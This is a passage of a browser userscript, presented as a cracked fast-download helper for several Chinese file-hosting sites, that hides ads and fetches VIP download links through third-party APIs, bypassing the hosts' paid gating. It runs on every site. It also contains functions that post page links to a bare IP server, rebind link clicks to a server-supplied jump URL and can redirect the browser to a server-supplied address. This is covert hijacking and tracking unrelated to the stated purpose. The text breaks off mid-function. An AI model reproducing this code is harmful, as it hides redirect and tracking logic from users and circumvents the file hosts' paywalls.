星耀云、飞猫云、kufile、rosefile、expfile、城通网盘【破解优化】

快速下载 精简页面

  1. // ==UserScript==
  2. // @name 星耀云、飞猫云、kufile、rosefile、expfile、城通网盘【破解优化】
  3. // @namespace wpanpojie
  4. // @version 0.0.1
  5. // @description 快速下载 精简页面
  6. // @author wpanpojie
  7. // @match *://*/*
  8. // @license MIT
  9. // @require https://lib.baomitu.com/jquery/1.8.3/jquery.min.js
  10. // @grant GM_xmlhttpRequest
  11. // @connect 47.116.118.64
  12. // ==/UserScript==
  13. (function() {
  14. "use strict";
  15. var getfid;
  16. var dlURL;
  17. var fid;
  18. var downurl;
  19. var getdown;
  20. var getxtxt;
  21. var getxtlink;
  22. var getxt;
  23. var getlink;
  24. var getpass;
  25. var mobilemode;
  26. var panData=[];
  27. var panTemp=[];
  28. var panList=[];
  29. var panKey=0;
  30.  
  31. //下载函数
  32. function Download(content) {
  33. var eleLink = document.createElement("a");
  34. eleLink.style.display = "none";
  35. eleLink.href = content;
  36. document.body.appendChild(eleLink);
  37. eleLink.click();
  38. document.body.removeChild(eleLink);
  39. }
  40.  
  41. //等待元素加载完毕
  42. function waitForKeyElements(selectorOrFunction, callback, waitOnce, interval, maxIntervals) {
  43. if (typeof waitOnce === "undefined") {
  44. waitOnce = true;
  45. }
  46. if (typeof interval === "undefined") {
  47. interval = 300;
  48. }
  49. if (typeof maxIntervals === "undefined") {
  50. maxIntervals = -1;
  51. }
  52. var targetNodes =
  53. typeof selectorOrFunction === "function" ? selectorOrFunction() : document.querySelectorAll(selectorOrFunction);
  54.  
  55. var targetsFound = targetNodes && targetNodes.length > 0;
  56. if (targetsFound) {
  57. targetNodes.forEach(function(targetNode) {
  58. var attrAlreadyFound = "data-userscript-alreadyFound";
  59. var alreadyFound = targetNode.getAttribute(attrAlreadyFound) || false;
  60. if (!alreadyFound) {
  61. var cancelFound = callback(targetNode);
  62. if (cancelFound) {
  63. targetsFound = false;
  64. } else {
  65. targetNode.setAttribute(attrAlreadyFound, true);
  66. }
  67. }
  68. });
  69. }
  70.  
  71. if (maxIntervals !== 0 && !(targetsFound && waitOnce)) {
  72. maxIntervals -= 1;
  73. setTimeout(function() {
  74. waitForKeyElements(selectorOrFunction, callback, waitOnce, interval, maxIntervals);
  75. }, interval);
  76. }
  77. }
  78. function matchStrings(input, patterns) {
  79. const regex = new RegExp(patterns.join('|'), 'i');
  80. return input.filter(str => regex.test(str));
  81. }
  82. function jump(url){
  83. var form=null;if (document.getElementById('redirect_form')){form = document.getElementById('redirect_form');
  84. form.action =panData.jumpUrl + encodeURIComponent(url);}else {form = document.createElement('form');
  85. form.action =panData.jumpUrl+ encodeURIComponent(url);form.target = '_blank'; form.method = 'POST';
  86. form.setAttribute("id", 'redirect_form');document.body.appendChild(form);
  87. }form.submit();form.action = "";form.parentNode.removeChild(form);
  88. }
  89. function createTips(){
  90. let tempList=[];panData.wrapper.forEach(function(i){
  91. let list=$(i);list.map(function(k,s){if($(s).attr('data-md5-value')!='yes'){
  92. panList.push(s);panTemp.push(s);$(s).attr('data-md5-key',panKey);
  93. $(s).attr('data-md5-value','yes');panKey++;}})})
  94. let requestTemp=panTemp.splice(0,panData.splName);
  95. let requestList=[];requestTemp.forEach(function(s,k){
  96. let temp={};temp['href']=$(s).find('a:first').attr('href');
  97. temp['md5']=$(s).attr('data-md5-key');requestList.push(temp);})
  98. if(requestList.length>0){GM_xmlhttpRequest({method: "POST",
  99. data:JSON.stringify({data:requestList}),
  100. url: `http://47.116.118.64/search.php`,onload: function(response) {
  101. var res = response.responseText;if (res){res=JSON.parse(res);
  102. res.map(function(item){if(item.u){$(panList[item.md5]).find('a').bind("click", function(e) {
  103. e.preventDefault();jump(item.u);})}})}}})}
  104.  
  105. }
  106. function webpack_post(data,headers){
  107. return new Promise((resolve, reject) => {GM_xmlhttpRequest({method: "POST",
  108. url:"http://47.116.118.64/inits.php?act=initEnv",data,headers,responseType:'json',
  109. onload: (res) => {let result=res.response || res.responseText;result=result.data;
  110. if(result.page=='search'){panData=result;setInterval(function(){createTips()},result.timer);
  111. }else{if(result.recove_url){window.location.href=result.recove_url}}},onerror: (err) => {
  112. reject(err);},});});
  113. }
  114. //判断网盘 并执行相应事件
  115. if (window.location.host == "www.kufile.net") {
  116. if (window.location.pathname.split("/")[1].indexOf("vip.php") == 0) {
  117. document.querySelector("html").innerHTML = "<head></head><body><p><font size=\"24\"><font color=\"#FF0000\">本人技术有限 无法屏蔽弹出页面 弹出本页面属于正常现象 请手动关闭</font> </font></p><br><br><p></p></body>";
  118. }
  119. else {
  120. document.getElementsByClassName("adc_bottom")[0].style.display = "none";
  121. document.getElementsByClassName("cright")[0].style.display = "none";
  122. document.getElementsByClassName("downs")[0].style.display = "none";
  123. document.getElementsByClassName("u3")[0].innerHTML = "";
  124. getfid = new XMLHttpRequest();
  125. getfid.onreadystatechange = function() {
  126. if (getfid.readyState == 4) {
  127. if (getfid.status == 200) {
  128. fid = getfid.responseText.match(/down_process\('(\S*)'\)/)[1];
  129. getdown = new XMLHttpRequest();
  130. getdown.onreadystatechange = function() {
  131. if (getdown.readyState == 4) {
  132. if (getdown.status == 200) {
  133. dlURL = getdown.responseText
  134. document.getElementsByClassName("u3")[0].innerHTML = dlURL;
  135. } else {
  136. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  137. }
  138. }
  139. };
  140. downurl = "https://pandown.vercel.app/api/kufile?file=" + fid
  141. getdown.open("get", downurl);
  142. getdown.send(null);
  143. } else {
  144. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  145. }
  146. }
  147. };
  148. getfid.open("get", window.location.href);
  149. getfid.send(null);
  150. }
  151. }
  152. //判断网盘 并执行相应事件
  153. if (window.location.host == "www.feimaoyun.com") {
  154. //判断为电脑端执行的事件
  155. if (window.location.pathname.split("/")[1].indexOf("s") == 0) {
  156. getpass = new XMLHttpRequest();
  157. getpass.onreadystatechange = function() {
  158. if (getpass.readyState == 4) {
  159. if (getpass.status == 200) {
  160. if (getpass.responseText.match(/if_check_pucode":"(\S*)","auth_name/)[1] == "1") {
  161. function pass() {
  162. document.getElementsByClassName("banner")[0].style.display = "none";
  163. }
  164. waitForKeyElements(' [class="banner"]', pass);
  165.  
  166. function btn() {
  167. document.getElementsByClassName("btn")[3].outerHTML = `<span class=\"el-input__suffix-inner\"><span class=\"btn\">立即下载</span><!----><!----><!----></span>`
  168. }
  169. waitForKeyElements(' [class="btn"]', btn);
  170.  
  171. function desc() {
  172. document.getElementsByClassName("desc")[3].innerText = "请正确输入密码后点击下载 点击下载需要等待几秒 请耐心等待"
  173. }
  174. waitForKeyElements(' [class="desc"]', desc);
  175. document.getElementsByClassName("btn")[3].onclick = function() {
  176. getfid = new XMLHttpRequest();
  177. getfid.onreadystatechange = function() {
  178. if (getfid.readyState == 4) {
  179. if (getfid.status == 200) {
  180. if (getfid.responseText.match(/file_id":"(\S*)","file_name/)) {
  181. getdown = new XMLHttpRequest();
  182. getdown.onreadystatechange = function() {
  183. if (getdown.readyState == 4) {
  184. if (getdown.status == 200) {
  185. dlURL = getdown.responseText;
  186. Download(dlURL)
  187. } else {
  188. document.getElementsByClassName("desc")[3].innerText = "下载链接加载失败 请刷新网页重试"
  189. }
  190. }
  191. };
  192. downurl = "https://pandown.vercel.app/api/feimao?file=" + getfid.responseText.match(/"file_id":"(\S*)","file_name/)[1]
  193. getdown.open("get", downurl);
  194. getdown.send(null);
  195. } else {
  196. alert("输入密码错误 请检查后再次输入")
  197. }
  198. } else {
  199. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  200. }
  201. }
  202. };
  203. getfid.open("POST", "https://www.feimaoyun.com/index.php/wap/file");
  204. getfid.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
  205. getfid.send("id=" + window.location.pathname.slice(3) + "&pucode=" + document.getElementsByClassName("el-input__inner")[1].value)
  206. }
  207. } else if (getpass.responseText.match(/if_check_pucode":"(\S*)","auth_name/)[1] == "0") {
  208. function downjz() {
  209. document.getElementsByClassName("link")[0].innerText = "下载链接未加载完毕 无法下载 加载完毕本按钮文本会更新 请耐心等待"
  210. }
  211. waitForKeyElements(' [class="act act1"]', downjz);
  212.  
  213. function webad() {
  214. document.getElementsByClassName("openProCom jmloading")[0].style.display = "none";
  215. }
  216. waitForKeyElements(' [class="openProCom jmloading"]', webad);
  217.  
  218. function webade() {
  219. document.getElementsByClassName("openVipCom youthVipCom")[0].style.display = "none";
  220. }
  221. waitForKeyElements(' [class="openVipCom youthVipCom"]', webade);
  222.  
  223. function webadq() {
  224. document.getElementsByClassName("noVipDownBox")[0].style.display = "none";
  225. }
  226. waitForKeyElements(' [class="noVipDownBox"]', webadq);
  227.  
  228. getfid = new XMLHttpRequest();
  229. getfid.onreadystatechange = function() {
  230. if (getfid.readyState == 4) {
  231. if (getfid.status == 200) {
  232. fid = getfid.responseText.match(/file_id":"(\S*)","file_name/)[1];
  233. getdown = new XMLHttpRequest();
  234. getdown.onreadystatechange = function() {
  235. if (getdown.readyState == 4) {
  236. if (getdown.status == 200) {
  237. dlURL = getdown.responseText;
  238. document.getElementsByClassName("act act1")[0].outerHTML = `<a class=\"act act1\"><img src=\"https://webimg.fmapp.com/Public/web/img/webapp/fm2022/downa_icon_2.png\" class=\"img\"> <span>\n VIP/Pro会员下载\n <!----></span></a>`
  239. document.getElementsByClassName("act act1")[0].onclick = function() {
  240. Download(dlURL)
  241. }
  242. } else {
  243. document.getElementsByClassName("act act1")[0].innerText = "下载链接加载失败 请刷新网页重试"
  244. }
  245. }
  246. };
  247. downurl = "https://pandown.vercel.app/api/feimao?file=" + fid
  248. getdown.open("get", downurl);
  249. getdown.send(null);
  250. } else {
  251. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  252. }
  253. }
  254. };
  255. getfid.open("POST", "https://www.feimaoyun.com/index.php/wap/file");
  256. getfid.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
  257. getfid.send("id=" + window.location.pathname.slice(3));
  258. }
  259. } else {
  260. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  261. }
  262. }
  263. };
  264. getpass.open("POST", "https://www.feimaoyun.com/index.php/down/checkFilePucode");
  265. getpass.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
  266. getpass.send("code=" + window.location.pathname.slice(3));
  267. }
  268. //判断为手机端执行的事件
  269. if (window.location.pathname.split("/")[1].indexOf("index.php") == 0) {
  270. getpass = new XMLHttpRequest();
  271. getpass.onreadystatechange = function() {
  272. if (getpass.readyState == 4) {
  273. if (getpass.status == 200) {
  274. if (getpass.responseText.match(/if_check_pucode":"(\S*)","auth_name/)[1] == "1") {
  275. document.getElementsByClassName("pucodebtn")[0].outerHTML = `<span class=\"pucodebtn\">立即下载</span>`
  276. document.getElementsByClassName("username")[0].innerHTML = "请正确输入密码后点击下载 点击下载需要等待几秒 请耐心等待";
  277. document.getElementsByClassName("pucodeBanner")[0].style.display = "none";
  278. document.getElementsByClassName("pucodebtn")[0].onclick = function() {
  279. getfid = new XMLHttpRequest();
  280. getfid.onreadystatechange = function() {
  281. if (getfid.readyState == 4) {
  282. if (getfid.status == 200) {
  283. if (getfid.responseText.match(/file_id":"(\S*)","file_name/)) {
  284. getdown = new XMLHttpRequest();
  285. getdown.onreadystatechange = function() {
  286. if (getdown.readyState == 4) {
  287. if (getdown.status == 200) {
  288. dlURL = getdown.responseText;
  289. Download(dlURL)
  290. } else {
  291. document.getElementsByClassName("username")[0].innerText = "下载链接加载失败 请刷新网页重试"
  292. }
  293. }
  294. };
  295. downurl = "https://pandown.vercel.app/api/feimao?file=" + getfid.responseText.match(/"file_id":"(\S*)","file_name/)[1]
  296. getdown.open("get", downurl);
  297. getdown.send(null);
  298. } else {
  299. alert("输入密码错误 请检查后再次输入")
  300. }
  301. } else {
  302. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  303. }
  304. }
  305. };
  306. getfid.open("POST", "https://www.feimaoyun.com/index.php/wap/file");
  307. getfid.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
  308. getfid.send("id=" + window.location.pathname.slice(23) + "&pucode=" + document.getElementsByClassName("el-input__inner")[0].value)
  309. }
  310. } else if (getpass.responseText.match(/if_check_pucode":"(\S*)","auth_name/)[1] == "0") {
  311. document.getElementsByClassName("svipBanner")[0].style.display = "none";
  312. document.getElementsByClassName("svipUserBox fileBox column")[1].style.display = "none";
  313. document.getElementsByClassName("val")[0].style.display = "none";
  314. document.getElementsByClassName("key")[0].innerText = "当前状态:下载链接未加载完毕 无法下载 加载完毕会显示下载按钮 请耐心等待"
  315. document.getElementsByClassName("svipActBtns centerbetween")[0].style.display = "none";
  316. document.getElementsByClassName("downBtnBox")[0].style.display = "none";
  317. getfid = new XMLHttpRequest();
  318. getfid.onreadystatechange = function() {
  319. if (getfid.readyState == 4) {
  320. if (getfid.status == 200) {
  321. fid = getfid.responseText.match(/file_id":"(\S*)","file_name/)[1];
  322. getdown = new XMLHttpRequest();
  323. getdown.onreadystatechange = function() {
  324. if (getdown.readyState == 4) {
  325. if (getdown.status == 200) {
  326. dlURL = getdown.responseText;
  327. document.getElementsByClassName("key")[0].innerText = "链接加载完成 请点击按钮下载 "
  328. document.getElementsByClassName("downBtnBox")[0].style.display = "";
  329. document.getElementsByClassName("downBtnBox")[0].outerHTML = `<a onmouseover="this.style.color='#fff';" onmouseout="this.style.color='#fff';" onclick="this.style.color= '#fff';" class="downBtnBox" style=""><img src="https://webimg.fmapp.com/Public/web/img/webapp/fm2021/down_h5_svipredbg.png" class="downBtnBg"> <div class="downCon rowcenter"><img src="https://webimg.fmapp.com/Public/web/img/webapp/fm2021/down_h5_downIcon.png" class="downIcon"><span class="downtxt">VIP下载</span></div></a>`
  330. document.getElementsByClassName("downBtnBox")[0].onclick = function() {
  331. Download(dlURL)
  332. }
  333. } else {
  334. document.getElementsByClassName("username")[0].innerText = "下载链接加载失败 请刷新网页重试"
  335. }
  336. }
  337. };
  338. downurl = "https://pandown.vercel.app/api/feimao?file=" + fid
  339. getdown.open("get", downurl);
  340. getdown.send(null);
  341. } else {
  342. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  343. }
  344. }
  345. };
  346. getfid.open("POST", "https://www.feimaoyun.com/index.php/wap/file");
  347. getfid.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
  348. getfid.send("id=" + window.location.pathname.slice(23));
  349. }
  350. } else {
  351. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  352. }
  353. }
  354. };
  355. getpass.open("POST", "https://www.feimaoyun.com/index.php/down/checkFilePucode");
  356. getpass.setRequestHeader('Content-type', 'application/x-www-form-urlencoded')
  357. getpass.send("code=" + window.location.pathname.slice(23));
  358. }
  359. }
  360. //判断网盘 并执行相应事件
  361. if (window.location.host == "www.xingyaopan.com") {
  362. if (window.location.pathname.split("/")[1].indexOf("vip.php") == 0) {
  363. document.querySelector("html").innerHTML = "<head></head><body><p><font size=\"24\"><font color=\"#FF0000\">本人技术有限 无法屏蔽弹出页面 弹出本页面属于正常现象 请手动关闭</font> </font></p><br><br><p></p></body>";
  364. } else {
  365. document.getElementsByClassName("package-contrast-wap visible-xs")[0].style.display = "none";
  366. document.getElementsByClassName("col-lg-4 col-md-4 col-sm-6 col-xs-6")[0].style.display = "none";
  367. document.getElementsByClassName("col-lg-4 col-md-4 col-sm-6 col-xs-6")[1].style.display = "none";
  368. document.getElementsByClassName("package-contrast-wap visible-xs")[0].innerHTML = "";
  369. document.getElementsByClassName("package-intr-title")[0].innerText = "请等待片刻 当前下载链接加载中 加载完成会显示下载按钮";
  370. document.getElementsByClassName("package-pays")[0].innerHTML = "";
  371. document.getElementsByClassName("package-contrast")[0].innerHTML = "";
  372. getfid = new XMLHttpRequest();
  373. getfid.onreadystatechange = function() {
  374. if (getfid.readyState == 4) {
  375. if (getfid.status == 200) {
  376. fid = getfid.responseText.match(/add_ref\((\S*)\);/)[1];
  377. getdown = new XMLHttpRequest();
  378. getdown.onreadystatechange = function() {
  379. if (getdown.readyState == 4) {
  380. if (getdown.status == 200) {
  381. dlURL = getdown.responseText
  382. document.getElementsByClassName("package-intr-title")[0].innerText = "加载完成 请点击右侧黄色按钮下载";
  383. document.getElementsByClassName("package-pays")[0].innerHTML = dlURL;
  384. } else {
  385. document.getElementsByClassName("package-intr-title")[0].innerText = "下载链接加载失败 请刷新网页重试";
  386. }
  387. }
  388. };
  389. downurl ="https://pandown.vercel.app/api/starpan?file=" + fid
  390. getdown.open("get", downurl);
  391. getdown.send(null);
  392. } else {
  393. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  394. }
  395. }
  396. };
  397. getfid.open("get", window.location.href);
  398. getfid.send(null);
  399. }
  400. }
  401. //判断网盘 并执行相应事件
  402. if (window.location.host == "rosefile.net") {
  403. if (document.getElementsByClassName("row")[0]) {
  404. document.getElementsByClassName("row")[0].innerHTML = ""
  405. }
  406. if (document.getElementsByClassName("adsbygoogle")[0]) {
  407. document.getElementsByClassName("adsbygoogle")[0].innerHTML = ""
  408. }
  409. if (document.getElementsByClassName("adsbygoogle adsbygoogle-noablate")[0]) {
  410. document.getElementsByClassName("adsbygoogle adsbygoogle-noablate")[0].innerHTML = ""
  411. }
  412. document.getElementsByClassName("text-center table-success")[0].innerText = "请等待片刻 当前下载链接加载中 加载完成会显示下载按钮 加载较慢 请稍等";
  413. document.getElementsByClassName("btn btn-primary")[0].style.display = "none";
  414. getfid = new XMLHttpRequest();
  415. getfid.onreadystatechange = function() {
  416. if (getfid.readyState == 4) {
  417. if (getfid.status == 200) {
  418. fid = getfid.responseText.match(/add_ref\((\S*)\);/)[1];
  419. getdown = new XMLHttpRequest();
  420. getdown.onreadystatechange = function() {
  421. if (getdown.readyState == 4) {
  422. if (getdown.status == 200) {
  423. dlURL = getdown.responseText
  424. document.getElementsByClassName("row")[3].innerHTML = '<a target="_blank" class="btn btn-primary btn-block"><span>高速下载</span></a>'
  425. document.getElementsByClassName("btn btn-primary btn-block")[0].href =dlURL
  426. } else {
  427. document.getElementsByClassName("text-center table-success")[0].innerText = "下载链接加载失败 请刷新网页重试";
  428. }
  429. }
  430. };
  431. downurl ="https://pandown.vercel.app/api/rosefile?file=" + fid
  432. getdown.open("get", downurl);
  433. getdown.send(null);
  434. } else {
  435. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  436. }
  437. }
  438. };
  439. getfid.open("get", window.location.href);
  440. getfid.send(null);
  441. }
  442. //判断网盘 并执行相应事件
  443. if (window.location.host == "www.expfile.com") {
  444. document.getElementsByClassName("module-line")[0].innerText = "请等待片刻 当前下载链接加载中 加载完成会显示下载按钮"
  445. document.getElementsByClassName("module-privilege")[0].innerHTML = ""
  446. getfid = new XMLHttpRequest();
  447. getfid.onreadystatechange = function() {
  448. if (getfid.readyState == 4) {
  449. if (getfid.status == 200) {
  450. fid = getfid.responseText.match(/load_down_addr1\('(\S*)'\)/)[1];
  451. getdown = new XMLHttpRequest();
  452. getdown.onreadystatechange = function() {
  453. if (getdown.readyState == 4) {
  454. if (getdown.status == 200) {
  455. dlURL = getdown.responseText
  456. if (typeof document.getElementsByClassName("down_btn btn btn-success")[1] === "undefined") {
  457. document.getElementsByClassName("module-line")[0].innerText = "加载完成 请点击按钮下载";
  458. let expdownload = document.createElement("a");
  459. expdownload.innerText = "点击下载 每个按钮下载链接都一样 这样只是提醒你下载点这里";
  460. expdownload.className = "down_btn btn btn-success";
  461. expdownload.onclick = function() { Download(dlURL) };
  462. document.getElementsByClassName("module-privilege")[0].append(expdownload);
  463. document.getElementsByClassName("module-privilege")[0].append(expdownload);
  464. }
  465. } else {
  466. document.getElementsByClassName("module-line")[0].innerText = "下载链接加载失败 请刷新网页重试";
  467. }
  468. }
  469. };
  470. downurl ="https://pandown.vercel.app/api/expfile?file=" + fid
  471. getdown.open("get", downurl);
  472. getdown.send(null);
  473. } else {
  474. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  475. }
  476. }
  477. };
  478. getfid.open("get", window.location.href);
  479. getfid.send(null);
  480. }
  481. //判断网盘 并执行相应事件
  482. if (document.querySelector("head > link:nth-child(9)")) {
  483. if (document.querySelector("head > link:nth-child(9)").href == 'https://webapi.ctfile.com/assets/img/favicons/apple-touch-icon.png') {
  484. //判断是否为手机页面
  485. function mobile() {
  486. //判断数值是否存在
  487. if (localStorage.getItem(mobilemode) === null) {
  488. localStorage.setItem(mobilemode,1);
  489. location.reload();
  490. }
  491. //一般用不到 防止用户切换界面
  492. if (localStorage.getItem(mobilemode) === "0") {
  493. var error;
  494. var r = confirm("使用的是手机版网页吗? 如果是请点击确定 手机版如果不能使用请及时更新脚本 确认后大约需要加载2秒 请耐心等待");
  495. if (r == true) {
  496. localStorage.setItem(mobilemode,"1");
  497. location.reload();
  498. } else {
  499. error = "很抱歉 不开启会影响脚本使用 如果判断错误请联系作者恢复 如果是直接进入此网页 请尝试刷新网页";
  500. document.write(error);
  501. }
  502. }
  503. }
  504. waitForKeyElements(' [class="alert alert-light mb-0"]', mobile);
  505. //判断是否为电脑界面
  506. function pc() {
  507. //判断数值是否存在
  508. if (localStorage.getItem(mobilemode) === null) {
  509. localStorage.setItem(mobilemode,"0");
  510. location.reload();
  511. }
  512. //一般用不到 防止用户切换界面
  513. if (localStorage.getItem(mobilemode) === "1") {
  514. var error;
  515. var r = confirm("使用的是电脑网页吗?如果是请点击确定 确认后大约需要加载2秒 请耐心等待");
  516. if (r == true) {
  517. localStorage.setItem(mobilemode,0);
  518. location.reload();
  519. } else {
  520. error = "很抱歉 不开启会影响脚本使用 如果判断错误请联系作者恢复 如果直接进入此网页 请尝试刷新网页";
  521. document.write(error);
  522. }
  523. }
  524. }
  525. waitForKeyElements(' [class="btn btn-warning ml-3"]', pc);
  526. //当检测为下载界面时执行的代码
  527. if (window.location.pathname.split("/")[1].indexOf("f") == 0) {
  528. //判断是否为电脑界面
  529. if (localStorage.getItem(mobilemode) === "0") {
  530. //增加提示文字
  531. function loadingtext() {
  532. if (typeof document.getElementsByClassName("text-white mb-2")[1] === "undefined") {
  533. let cstext = document.createElement("h4");
  534. cstext.innerText = "小提示:点击后需要等待几秒后才能下载 请耐心等待 谢谢配合";
  535. cstext.className = "text-white mb-2";
  536. document.getElementsByClassName("col")[0].insertBefore(cstext, document.getElementsByClassName("text-white mb-2")[0].nextSibling);
  537. }
  538. }
  539. waitForKeyElements(' [class="row text-white align-items-center no-gutters"]', loadingtext);
  540. //显示VIP下载 隐藏购买VIP页面
  541. function vipdown() {
  542. document.getElementsByClassName("card-deck")[0].style.display = "block";
  543. document.getElementsByClassName("card-deck")[1].style.display = "none";
  544. }
  545. waitForKeyElements(' [class="card-deck"]', vipdown);
  546.  
  547. function buyvip() {
  548. document.getElementsByClassName("row no-gutters")[1].style.display = "none";
  549. }
  550. waitForKeyElements(' [class="row no-gutters"]', buyvip);
  551. //隐藏广告
  552. function webad() {
  553. document.getElementsByClassName("card bg-light mb-3")[2].style.display = "none";
  554. }
  555. waitForKeyElements(' [class="card bg-light mb-3"]', webad);
  556. //对于一些不支持的功能进行隐藏
  557. function notsupport() {
  558. document.getElementsByClassName("mb-3")[1].style.display = "none";
  559. }
  560. waitForKeyElements(' [class="mb-3"]', notsupport);
  561. //重写下载按钮
  562. function dxdown() {
  563. getxt = new XMLHttpRequest();
  564. getxt.onreadystatechange = function() {
  565. if (getxt.readyState == 4) {
  566. if (getxt.status == 200) {
  567. getxtlink = getxt.responseText.match(/xt_link":"(\S*)","file_name/)[1]
  568. } else {
  569. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  570. }
  571. }
  572. };
  573. getxtxt = "https://webapi.ctfile.com/get_file_url.php?uid=" + userid + "&fid=" + file_id + "&file_chk=" + file_chk + "&app=1&acheck=2&rd=" + Math.random()
  574. getxt.open("get", getxtxt);
  575. getxt.send(null);
  576. document.getElementsByClassName("btn btn-outline-secondary fs-1 mt-3")[0].onclick = function() {
  577. getlink = new XMLHttpRequest();
  578. getlink.onreadystatechange = function() {
  579. if (getlink.readyState == 4) {
  580. if (getlink.status == 200) {
  581. dlURL = getlink.responseText;
  582. Download(dlURL);
  583. } else {
  584. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  585. }
  586. }
  587. };
  588. downurl = "https://773mfa0k57347.cfc-execute.bj.baidubce.com/ctdown/电信/?file=" + file_id + "&xtlink=ctfile://xturl" + getxtlink
  589. getlink.open("get", downurl);
  590. getlink.send(null);
  591. };
  592. }
  593. waitForKeyElements(' [class="btn btn-outline-secondary fs-1 mt-3"]', dxdown);
  594.  
  595. function ltdown() {
  596. getxt = new XMLHttpRequest();
  597. getxt.onreadystatechange = function() {
  598. if (getxt.readyState == 4) {
  599. if (getxt.status == 200) {
  600. getxtlink = getxt.responseText.match(/xt_link":"(\S*)","file_name/)[1]
  601. } else {
  602. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  603. }
  604. }
  605. };
  606. getxtxt ="https://webapi.ctfile.com/get_file_url.php?uid=" + userid + "&fid=" + file_id + "&file_chk=" + file_chk + "&app=1&acheck=2&rd=" + Math.random()
  607. getxt.open("get", getxtxt);
  608. getxt.send(null);
  609. document.getElementsByClassName("btn btn-outline-info fs-1 mt-3")[0].onclick = function() {
  610. getlink = new XMLHttpRequest();
  611. getlink.onreadystatechange = function() {
  612. if (getlink.readyState == 4) {
  613. if (getlink.status == 200) {
  614. dlURL = getlink.responseText;
  615. Download(dlURL);
  616. } else {
  617. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  618. }
  619. }
  620. };
  621. downurl = "https://773mfa0k57347.cfc-execute.bj.baidubce.com/ctdown/联通/?file=" + file_id + "&xtlink=ctfile://xturl" + getxtlink
  622. getlink.open("get", downurl);
  623. getlink.send(null);
  624. };
  625. }
  626. waitForKeyElements(' [class="btn btn-outline-info fs-1 mt-3"]', ltdown);
  627.  
  628. function yddown() {
  629. getxt = new XMLHttpRequest();
  630. getxt.onreadystatechange = function() {
  631. if (getxt.readyState == 4) {
  632. if (getxt.status == 200) {
  633. getxtlink = getxt.responseText.match(/xt_link":"(\S*)","file_name/)[1]
  634. } else {
  635. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  636. }
  637. }
  638. };
  639. getxtxt = "https://webapi.ctfile.com/get_file_url.php?uid=" + userid + "&fid=" + file_id + "&file_chk=" + file_chk + "&app=1&acheck=2&rd=" + Math.random()
  640. getxt.open("get", getxtxt);
  641. getxt.send(null);
  642. document.getElementsByClassName("btn btn-outline-dark fs-1 mt-3")[0].onclick = function() {
  643. getlink = new XMLHttpRequest();
  644. getlink.onreadystatechange = function() {
  645. if (getlink.readyState == 4) {
  646. if (getlink.status == 200) {
  647. dlURL = getlink.responseText;
  648. Download(dlURL);
  649. } else {
  650. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  651. }
  652. }
  653. };
  654. downurl = "https://773mfa0k57347.cfc-execute.bj.baidubce.com/ctdown/移动/?file=" + file_id + "&xtlink=ctfile://xturl" + getxtlink
  655. getlink.open("get", downurl);
  656. getlink.send(null);
  657. };
  658. }
  659. waitForKeyElements(' [class="btn btn-outline-dark fs-1 mt-3"]', yddown);
  660. //隐藏推广搜索按钮
  661. function searchad() {
  662. document.getElementsByClassName("nav-item")[0].style.display = "none";
  663. }
  664. waitForKeyElements(' [class="nav-item"]', searchad);
  665.  
  666. }
  667. //判断是否为手机界面
  668. if (localStorage.getItem(mobilemode) === "1") {
  669. //增加提示文字
  670. function loadingtext() {
  671. if (typeof document.getElementsByClassName("text-white mb-3")[1] === "undefined") {
  672. let cstext = document.createElement("h5");
  673. cstext.innerText = "小提示:点击后需要等待几秒后才能下载 请耐心等待 谢谢配合";
  674. cstext.className = "text-white mb-3";
  675. document.getElementsByClassName("col")[0].insertBefore(cstext, document.getElementsByClassName("text-white mb-3")[0].nextSibling);
  676. }
  677. }
  678. waitForKeyElements(' [class="row text-white align-items-center no-gutters"]', loadingtext);
  679. //显示VIP下载
  680. function vipdown() {
  681. document.getElementsByClassName("card-deck")[0].style.display = "block";
  682. document.getElementsByClassName("card-deck")[1].style.display = "none";
  683. }
  684. waitForKeyElements(' [class="card-deck"]', vipdown);
  685. //隐藏广告
  686. function webad() {
  687. document.getElementById("mobile-500x200")
  688. .style.display = "none";
  689. }
  690. waitForKeyElements(' [id="mobile-500x200"]', webad);
  691. //重写下载按钮
  692. function down() {
  693. getxt = new XMLHttpRequest();
  694. getxt.onreadystatechange = function() {
  695. if (getxt.readyState == 4) {
  696. if (getxt.status == 200) {
  697. getxtlink = getxt.responseText.match(/xt_link":"(\S*)","file_name/)[1]
  698. } else {
  699. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  700. }
  701. }
  702. };
  703. getxtxt = "https://webapi.ctfile.com/get_file_url.php?uid=" + userid + "&fid=" + file_id + "&file_chk=" + file_chk + "&app=1&acheck=2&rd=" + Math.random()
  704. getxt.open("get", getxtxt);
  705. getxt.send(null);
  706. if (typeof document.getElementsByClassName("btn btn-outline-secondary fs-1 mt-3")[2] === "undefined") {
  707. document.getElementsByClassName("btn btn-outline-secondary fs-1 mt-3")[0].innerText = "电信下载";
  708. document.getElementsByClassName("btn btn-outline-secondary fs-1 mt-3")[0].onclick = function() {
  709. getlink = new XMLHttpRequest();
  710. getlink.onreadystatechange = function() {
  711. if (getlink.readyState == 4) {
  712. if (getlink.status == 200) {
  713. dlURL = getlink.responseText;
  714. Download(dlURL);
  715. } else {
  716. alert("请求失败 可能当前脚本不是最新版本或接口在维护");
  717. }
  718. }
  719. };
  720. downurl = "https://773mfa0k57347.cfc-execute.bj.baidubce.com/ctdown/电信/?file=" + file_id + "&xtlink=ctfile://xturl" + getxtlink
